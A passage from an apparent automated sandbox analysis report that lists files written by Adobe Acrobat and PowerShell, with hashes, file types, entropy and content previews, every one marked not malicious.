SHA1:	812B55E12ACBD0693B71CB674BECAF47D5DD65F7
SHA-256:	0778061B00A83393080A0AF28E4571FBAC93C3FB5DF1575910834989654CA57C
SHA-512:	F6589832182811520BF50DE9CBB23C413634CDCAF39B18016CA9860695C65E09E5353D0BFCA7CCB0D9DD9A858E13E485AA0B314B9073170A87CD6822A71EA8E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317858733925662
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJfFldPeUkwRe9:YvXKXBUdsxalZc0vyGz8Ukee9
MD5:	40F59852E9504C09EDE9E2AA2E440165
SHA1:	07BD4FDD970B2F616A3850457759F2262E8BE65E
SHA-256:	E501A6901BB2E3C6125672BA5C926369704743C733DA68E8A96A4B7DBAD680E9
SHA-512:	CEED489D7A62DEC2F1EB73DC4EB8A7F20C8F0BE9C1BD309F63141217D28396A7370EC14C60E481C8FB876F76B47EE1BB501F546CACED59F8BE14925BD7D4EB1A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.332932061056355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJfzdPeUkwRe9:YvXKXBUdsxalZc0vyGb8Ukee9
MD5:	F0CCAC87DEF88FF3B2546B5C761A1D30
SHA1:	2C0F0318EE655FC7108F3A08936B7B153B67DA6F
SHA-256:	A315910ADCF7B6A490BF2CD7611F6E7BEFD34FA2BEDD7A7CA753C328CB95539C
SHA-512:	F50CEAA9F9176EC013397F62AA933C1455B5E5C222D3CFB92B638D72601C5630AC0559E8D10BBC8638511885478FD9FD7ED62A9B5F802FD78ACAC3CECB7010F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3135636834749445
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJfYdPeUkwRe9:YvXKXBUdsxalZc0vyGg8Ukee9
MD5:	80C6F607B9F6FA1570518C608E4B61C6
SHA1:	3512E4DC61192948F37316A33B95A9CF5E06DEE6
SHA-256:	0D635B533CAF2997F21C521198BA69BDC0C1A83171E3394A36045CF14C2532A4
SHA-512:	24E0E236E4C4B1DB7F540BDD34A0B262A4B9EE4AE72D3C902C3579F8FB2C3A0A31F0BDFF0F9283456E7CAB41DDB32A1106367632E0D699B772B3A1BEF4CB56BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.300434207162555
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJf+dPeUkwRe9:YvXKXBUdsxalZc0vyG28Ukee9
MD5:	FAAFE29945873633E99858045E4B9CFD
SHA1:	9FD79B762C67A0B9F2CA2ED3FD43DA875C63C658
SHA-256:	4938909C1FD3DAF12E179665FA2B519CAB0E6EFCE813A8AF9C7F5FB8318F0658
SHA-512:	1E3A29EF447DDF00C9578176C038A35795F2318FB9A613719CCD86A02F6958F0BD0317E1B2A73EF56C34CF26DD8A24BD5E02A01742E44EF40F4EEC149B556000
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.29701755995654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJfbPtdPeUkwRe9:YvXKXBUdsxalZc0vyGDV8Ukee9
MD5:	3D0F2A89C962191719F69E77264F99FE
SHA1:	9CE07251AC7BFCE9B34FC83A5FD7B8122D926F1A
SHA-256:	40967C89122E5EE46769B3F17BBBFFF4A5D9C8322D298E6F36D01872A2F12A2F
SHA-512:	AD8602FE74646388C869B6957AF7496FE8C786373656E97EBEB1FF691E47AC68F73F7DF81E9F12BC86DAE00282A1013A3D90B8DAA7D3FA60E366FCD7AC9B255E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.3015423736162735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJf21rPeUkwRe9:YvXKXBUdsxalZc0vyG+16Ukee9
MD5:	FF9AE18A207858FC24355F8BA5F08B42
SHA1:	E77F435565C70F18EED2C110D421BCD0ECA54351
SHA-256:	5D0640B459F435A1788067C62C1FD2138ED2F80640001FF553C1616FFAEDA4C9
SHA-512:	8418BCA32EABB8FF61C1BE522E05D9B32863F87C3BF9E43E91B47A1CC5C3588C410F1AA2865BE4B8C4E3235CE2026F36283F7632FEC885D25B13F0B087C385FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.669896714219867
Encrypted:	false
SSDEEP:	24:Yv6XBUC6zvXamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSf:YvE6nBgkDMUJUAh8cvMf
MD5:	C1B33607A0D3B03992F015F60D0342C0
SHA1:	D2FC54D6B2BCAE989A73D9F12DAC97B59593F846
SHA-256:	4B674038352E0B7A7CB8E5F388DBC6CA0209B447C3B64DC4906077621075C5C9
SHA-512:	501635CFC515B1018D9B9572ADD2FAF577F74C685DFA01EA186C65C844830D6468965B532E4A4B5876F20FEB8213911690240887AA75BB2AA0C66BD52AF4ADFF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.278841957774786
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJfshHHrPeUkwRe9:YvXKXBUdsxalZc0vyGUUUkee9
MD5:	C1BD4B8791C91672C40C9211A02EF17D
SHA1:	D2E1B2250435F84CBB1994628EADC45F850933B1
SHA-256:	084F5E7337A4566B91C68B7D02512053E6EAEBC2B9AE23BD97DB65A4EFCD365E
SHA-512:	2DA5CAA23A658381532CD04A284F3142F161A009F4B0DB782A74DCC246024377923752823A69A259C52BB3D9F136D2727D154A7BB5E653C2526223D29104FB99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2905175915742735
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBUds3hO5kVoZcg1vRcR0YTeoAvJTqgFCrPeUkwRe9:YvXKXBUdsxalZc0vyGTq16Ukee9
MD5:	36B3EDF5E81AC75B744CF1FB7D964F91
SHA1:	234C7FA010DABFCB4AC2423B9F0D5EE1AB2BA551
SHA-256:	530D2AFC268DB76B8881EA5F0B6D2D212F0AF479B10F1D4DF1F1D9CF1BF0783A
SHA-512:	7998548368482FF71DC0FCDD67C8691EE09FDEE687410B8CB57494ADC8607A56C6F9EC851BAEACBB9BF33BC1B57802EC49A902A8D0AD6055D6D718487A4BF567
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6187804e-9029-4a14-bef6-e8f49f187d88","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736723114336,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.143210010080259
Encrypted:	false
SSDEEP:	48:YgO9aF1hixYsrguGA2dVmDa1+I6xaUV/6Zx/BbQGUsgMrh9Myl:h11OYsk023ou+libQGFt/j
MD5:	4920ACB04AAC763714EF1DE57127E413
SHA1:	6829B85BA7DB5A5C91D1833EBBE7B4D704603D90
SHA-256:	3ED0EEB38BC143CA7F4E5F534CA33D9C889FB623E049F90AFAECBD92179115A2
SHA-512:	7E14EA16C9FCE5C8A6988CA6C147246E9DE538A7CB8618E612248B2153CB99014F215D75608C7C4E094CE00B755AC2B81AE84751E1D42DD85DCA341F29D34DFB
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"331bddf5e599b36555ed4d8274e22aa2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736548483000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4a2c94ac5f04a607484a870b93fdd43a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736548483000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f7e070a3e900924ce6a6575b4960ddd5","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736548483000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"afb0ae91834d6015dc3c5fb8516e4c79","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736548483000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"567a02dbfd570caff1ecb6d86b15d54a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736548483000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"f32cc1cc695d3db4b92bf28373c40f78","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1892220372089797
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUULQiSvR9H9vxFGiDIAEkGVvpkQE:lNVmswUUUUUUUUki+FGSItNE
MD5:	66BDFB285FA9E0196954A3318B164C96
SHA1:	B6B0FD3A4F918479171C6D4E687E4B21275AB099
SHA-256:	A0BF1C517791470036B33E1E225EE306780B4D6C61B010DFA3C7E4A01E9D7FB5
SHA-512:	1E0EEC26F349260C3AE5C81B5923A269A93AF2A313CC29654AC8B09752D9910DBC88AB71DFB1B6FF26FAEDDF1A4498BD4FAF129CC95E2B4C8DBBD6E5F595DEFF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6075199551471884
Encrypted:	false
SSDEEP:	48:7MxAKUUUUUUUUUULQwvR9H9vxFGiDIAEkGVvEYqFl2GL7ms0:7cnUUUUUUUUUUkIFGSIt2YKVms0
MD5:	C1DA5A2469DECBCD5534B927A29B3D3B
SHA1:	9E5313E85A937A670ACDD59A75F47E815C08B762
SHA-256:	28289B38A09A2871811B930296E387C426C839E3DA1B113E7103E2D6429286BB
SHA-512:	BBED223BDC8A5BDB0A116EECF7549ADDB9D28AE975944509A0C95F180181495BB920889AFED62B96C796F951426631AB3420D67C914EEE4C9787AF32BAF630BF
Malicious:	false
Preview:	.... .c.......5"......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgNGmPqF+xbKTCbbPwbFDYTQRbOYyu:6a6TZ44ADENGmiF+xbKTCu1OK
MD5:	5218535B74818B572BF696C5CF2A4B3E
SHA1:	FC376E66C2AEF358777A171838957292964B50F2
SHA-256:	0298B68AB0127F5BDEEA60A7A19D38054E3D68666BD77F604C9EFB771158E141
SHA-512:	08FD1AEF9B4BA80797F1C3FA0DE9216DD0ED7B0C5CDECB6A6D97A943E1F549C37A365C7BCD8FC9E6CDC8BE2E4ACC2A60AF10BFA15D584ACD281A9E23D8813A91
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIebe1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEXECH:Qw946cPbiOxDlbYnuRK+bDJH
MD5:	345CB55CCC1F476A21030833C348D68C
SHA1:	3B272C7D262442B3C42B8204E78FF90918F6A642
SHA-256:	84615F2035EB37D4B2FE21979C9AF49AAEA48DD033D146CC0000917106BB048F
SHA-512:	5B858775CD15CDCCB91FC2D90DEA5C2872979DEBD819DC5A021B29FC3A73174D273A7F8D35E3BF98C5FB5DE50B34794A67EA4B5581DCCCD71054A90D4A27B72F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.7.:.3.4.:.4.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_apqeui3p.32y.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w1j01aht.shx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91pkb2l6_1vbusi6_4dk.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 17-34-36-881.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.359844591755248
Encrypted:	false
SSDEEP:	384:A+Yfwmetz2zF+IWg8NvaXxu0g/exUtRLlfB1Xb37CSZ4DiDLDFD2D4D5DiQDDVkT:zWIS1WpG
MD5:	2008199B6E794D8BFE767252EF21D076
SHA1:	A3A2702C61EBD9062B01786D80660FA3D417852C
SHA-256:	11D43AE529945A79343EBDF09434E4E61922BBF23408EBE3B0965EA6333D6087
SHA-512:	1C429917EBDF86B8C6E2A0D37D28B2153D1DDBE39C3678D6CE86F40A0A156165DFBBB41C0049D4EB139C4704C54EB560D1B57A445DAEF3116CA7ECCA6AC59A84
Malicious:	false
